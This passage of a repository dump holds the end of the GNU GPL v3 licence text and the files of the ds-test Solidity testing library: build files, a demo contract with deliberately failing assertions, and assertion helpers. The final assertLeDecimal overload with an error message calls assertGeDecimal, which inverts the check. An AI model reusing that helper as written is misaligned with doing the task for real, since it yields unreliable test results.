work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/Makefile
================================================
all:; dapp build
test:
-dapp --use solc:0.4.23 build
-dapp --use solc:0.4.26 build
-dapp --use solc:0.5.17 build
-dapp --use solc:0.6.12 build
-dapp --use solc:0.7.5 build
demo:
DAPP_SRC=demo dapp --use solc:0.7.5 build
-hevm dapp-test --verbose 3
.PHONY: test demo
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/demo/demo.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.23;
import "../src/test.sol";
contract DemoTest is DSTest {
function test_this() public pure {
require(true);
}
function test_logs() public {
emit log("-- log(string)");
emit log("a string");
emit log("-- log_named_uint(string, uint)");
log_named_uint("uint", 512);
emit log("-- log_named_int(string, int)");
log_named_int("int", -512);
emit log("-- log_named_address(string, address)");
log_named_address("address", address(this));
emit log("-- log_named_bytes32(string, bytes32)");
log_named_bytes32("bytes32", "a string");
emit log("-- log_named_bytes(string, bytes)");
log_named_bytes("bytes", hex"cafefe");
emit log("-- log_named_string(string, string)");
log_named_string("string", "a string");
emit log("-- log_named_decimal_uint(string, uint, uint)");
log_named_decimal_uint("decimal uint", 1.0e18, 18);
emit log("-- log_named_decimal_int(string, int, uint)");
log_named_decimal_int("decimal int", -1.0e18, 18);
}
event log_old_named_uint(bytes32,uint);
function test_old_logs() public {
log_old_named_uint("key", 500);
log_named_bytes32("bkey", "val");
}
function test_trace() public view {
this.echo("string 1", "string 2");
}
function test_multiline() public {
emit log("a multiline\\n" "string");
emit log("a multiline " "string");
log_bytes("a string");
log_bytes("a multiline\n" "string");
log_bytes("a multiline\\n" "string");
emit log(unicode"Ώ");
logs(hex"0000");
log_named_bytes("0x0000", hex"0000");
logs(hex"ff");
}
function echo(string memory s1, string memory s2) public pure
returns (string memory, string memory)
{
return (s1, s2);
}
function prove_this(uint x) public {
log_named_uint("sym x", x);
assertGt(x + 1, 0);
}
function test_logn() public {
assembly {
log0(0x01, 0x02)
log1(0x01, 0x02, 0x03)
log2(0x01, 0x02, 0x03, 0x04)
log3(0x01, 0x02, 0x03, 0x04, 0x05)
}
}
event MyEvent(uint, uint indexed, uint, uint indexed);
function test_events() public {
emit MyEvent(1, 2, 3, 4);
}
function test_asserts() public {
string memory err = "this test has failed!";
emit log("## assertTrue(bool)\n");
assertTrue(false);
emit log("\n");
assertTrue(false, err);
emit log("\n## assertEq(address,address)\n");
assertEq(address(this), msg.sender);
emit log("\n");
assertEq(address(this), msg.sender, err);
emit log("\n## assertEq32(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(uint,uint)\n");
assertEq(uint(0), 1);
emit log("\n");
assertEq(uint(0), 1, err);
emit log("\n## assertEq(int,int)\n");
assertEq(-1, -2);
emit log("\n");
assertEq(-1, -2, err);
emit log("\n## assertEqDecimal(int,int,uint)\n");
assertEqDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertEqDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertEqDecimal(uint,uint,uint)\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGt(uint,uint)\n");
assertGt(uint(0), 0);
emit log("\n");
assertGt(uint(0), 0, err);
emit log("\n## assertGt(int,int)\n");
assertGt(-1, -1);
emit log("\n");
assertGt(-1, -1, err);
emit log("\n## assertGtDecimal(int,int,uint)\n");
assertGtDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGtDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGtDecimal(uint,uint,uint)\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGe(uint,uint)\n");
assertGe(uint(0), 1);
emit log("\n");
assertGe(uint(0), 1, err);
emit log("\n## assertGe(int,int)\n");
assertGe(-1, 0);
emit log("\n");
assertGe(-1, 0, err);
emit log("\n## assertGeDecimal(int,int,uint)\n");
assertGeDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGeDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGeDecimal(uint,uint,uint)\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertLt(uint,uint)\n");
assertLt(uint(0), 0);
emit log("\n");
assertLt(uint(0), 0, err);
emit log("\n## assertLt(int,int)\n");
assertLt(-1, -1);
emit log("\n");
assertLt(-1, -1, err);
emit log("\n## assertLtDecimal(int,int,uint)\n");
assertLtDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLtDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLtDecimal(uint,uint,uint)\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertLe(uint,uint)\n");
assertLe(uint(1), 0);
emit log("\n");
assertLe(uint(1), 0, err);
emit log("\n## assertLe(int,int)\n");
assertLe(0, -1);
emit log("\n");
assertLe(0, -1, err);
emit log("\n## assertLeDecimal(int,int,uint)\n");
assertLeDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLeDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLeDecimal(uint,uint,uint)\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertEq(string,string)\n");
string memory s1 = "string 1";
string memory s2 = "string 2";
assertEq(s1, s2);
emit log("\n");
assertEq(s1, s2, err);
emit log("\n## assertEq0(bytes,bytes)\n");
assertEq0(hex"abcdef01", hex"abcdef02");
log("\n");
assertEq0(hex"abcdef01", hex"abcdef02", err);
}
}
contract DemoTestWithSetUp {
function setUp() public {
}
function test_pass() public pure {
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/src/test.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
pragma solidity >=0.4.23;
contract DSTest {
event log (string);
event logs (bytes);
event log_address (address);
event log_bytes32 (bytes32);
event log_int (int);
event log_uint (uint);
event log_bytes (bytes);
event log_string (string);
event log_named_address (string key, address val);
event log_named_bytes32 (string key, bytes32 val);
event log_named_decimal_int (string key, int val, uint decimals);
event log_named_decimal_uint (string key, uint val, uint decimals);
event log_named_int (string key, int val);
event log_named_uint (string key, uint val);
event log_named_bytes (string key, bytes val);
event log_named_string (string key, string val);
bool public IS_TEST = true;
bool public failed;
address constant HEVM_ADDRESS =
address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));
modifier mayRevert() { _; }
modifier testopts(string memory) { _; }
function fail() internal {
failed = true;
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log("Error: Assertion Failed");
fail();
}
}
function assertTrue(bool condition, string memory err) internal {
if (!condition) {
emit log_named_string("Error", err);
assertTrue(condition);
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [address]");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq(address a, address b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [bytes32]");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEq(bytes32 a, bytes32 b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq32(bytes32 a, bytes32 b, string memory err) internal {
assertEq(a, b, err);
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [int]");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
function assertEq(int a, int b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [uint]");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal int]");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertGt(uint a, uint b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGt(uint a, uint b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGt(int a, int b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGt(int a, int b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGtDecimal(int a, int b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGtDecimal(uint a, uint b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGe(uint a, uint b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGe(uint a, uint b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGe(int a, int b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGe(int a, int b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGeDecimal(int a, int b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertGeDecimal(uint a, uint b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertLt(uint a, uint b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLt(uint a, uint b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLt(int a, int b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLt(int a, int b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLtDecimal(int a, int b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLtDecimal(uint a, uint b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLe(uint a, uint b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLe(uint a, uint b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLe(int a, int b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLe(int a, int b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLeDecimal(int a, int b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLeDecimal(a, b, decimals);
}
}
function assertLeDecimal(uint a, uint b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
